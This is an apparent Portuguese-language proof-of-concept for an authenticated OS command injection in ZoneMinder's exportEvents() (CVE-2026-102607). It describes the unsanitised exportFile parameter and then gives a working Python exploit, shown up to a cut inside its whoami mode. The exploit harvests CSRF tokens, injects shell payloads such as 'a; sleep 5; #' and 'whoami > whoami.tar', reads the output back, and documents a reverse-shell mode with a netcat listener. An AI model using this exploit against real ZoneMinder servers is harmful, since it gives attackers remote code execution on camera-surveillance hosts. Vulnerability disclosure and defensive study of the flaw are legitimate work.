PoC em Python explorando a CVE-2026-102607, uma injeção de comando do sistema operacional autenticada no ZoneMinder <= 1.38.1 exportEvents(), permitindo RCE, exfiltração de saída de comando e reverse shells.
Existe uma vulnerabilidade de Injeção de Comando de SO autenticada na funcionalidade de exportação de eventos do ZoneMinder. O parâmetro de requisição HTTP exportFile é passado sem sanitização para um comando de shell executado via exec() do PHP, permitindo que qualquer usuário autenticado com permissão View Events execute comandos arbitrários do sistema operacional no servidor.
Esta vulnerabilidade resulta em Execução Remota de Código (RCE) completa como o usuário do servidor web (www-data).
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php, linha 103exportEvents() em web/skins/classic/includes/export_functions.php, linhas 1030–1032A função exportEvents() aceita um parâmetro $export_root originado diretamente de $_REQUEST['exportFile'] (via ajax/event.php, linha 103). Este parâmetro é usado para construir o caminho do diretório anexado aos comandos tar e zip.
Embora o caminho do arquivo de arquivo ($archive_path) na linha 1020 esteja devidamente escapado usando escapeshellarg(), o argumento de diretório final na linha 1030 é concatenado diretamente na string do comando sem qualquer sanitização:
// Linha 1020 — devidamente escapado ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Linha 1030 — NÃO escapado ✗ (VULNERÁVEL)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Linha 1032 — executado
exec($command, $output, $status);
Um atacante pode injetar metacaracteres de shell (;, |, &&, etc.) no parâmetro exportFile para sair do comando tar/zip pretendido e executar comandos arbitrários. A barra final / anexada pelo PHP pode ser neutralizada usando # (caractere de comentário do shell).
Requisição HTTP: $_REQUEST['exportFile']
│
▼
ajax/event.php (linha 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (linha 890)
└── $export_root = $_REQUEST['exportFile'] // Sem sanitização
│
▼
export_functions.php (linha 1030)
└── $command .= ' ' . $export_root . '/' // Concatenação direta
│
▼
export_functions.php (linha 1032)
└── exec($command) // Execução de Comando de SO
View Events ou View Snapshots.__csrf_magic válido deve ser incluído (obtido de qualquer página do ZoneMinder).exportDetail=1: Este parâmetro deve ser incluído na requisição para evitar um erro fatal do PHP em exportEventImagesMaster() ao usar IDs de eventos inexistentes.#!/usr/bin/env python3
"""
=====================================================================
Versão Afetada : ZoneMinder <= 1.38.1
Testado Em : ZoneMinder 1.38.1 (Docker)
Vulnerabilidade : Injeção de Comando de SO em exportEvents()
Pontuação CVSS : 9.9 (Crítica)
Vetor de Ataque : Rede (Autenticado)
Arquivo : web/skins/classic/includes/export_functions.php
Sink : exec() na linha 1032
Descrição:
A função exportEvents() no ZoneMinder constrói comandos de shell
para arquivamento com `tar` e `zip` usando entrada de usuário não
sanitizada do parâmetro de requisição HTTP `exportFile`. Este
parâmetro é usado como a variável `$export_root`, que é
concatenada diretamente na string de comando passada para exec()
sem escapeshellarg() ou qualquer sanitização equivalente.
Um atacante autenticado com permissão "View Events" pode injetar
comandos de SO arbitrários anexando metacaracteres de shell (;) ao
parâmetro `exportFile`, alcançando Execução Remota de Código como
o usuário do servidor web (www-data).
Uso:
1. Inicie um listener na sua máquina de ataque:
$ nc -lvnp <LPORT>
2. Execute este exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. O exploit suporta três modos:
--mode check : Verifica a vulnerabilidade (temporização baseada em sleep)
--mode whoami : Extrai a saída de `whoami`
--mode revshell: Gera um reverse shell para LHOST:LPORT
Autor : d4kw1n
Data : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] Biblioteca 'requests' necessária. Instale com: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - RCE Autenticado via Injeção de Comando em exportEvents() - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Obtém um token CSRF válido do alvo."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Falha ao extrair o token CSRF. O alvo está acessível?")
return None
return match.group(1)
def send_payload(self, payload):
"""Envia o payload de injeção via a ação de exportação."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Lê a saída do comando exfiltrada via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Modo: check ──────────────────────────────────────────────
def check(self):
"""Verifica a vulnerabilidade usando uma abordagem baseada em temporização."""
delay = 5
print(f"[*] Enviando payload de sleep {delay} para verificação de temporização...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Tempo de resposta: {elapsed:.2f}s (esperado >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERÁVEL - Injeção de comando confirmada!")
return True
else:
print("[-] NÃO VULNERÁVEL ou alvo inacessível.")
return False
# ── Modo: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extrai o usuário do servidor web via exfiltração de saída de comando."""
outfile = "whoami.tar"
print(f"[*] Injetando: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)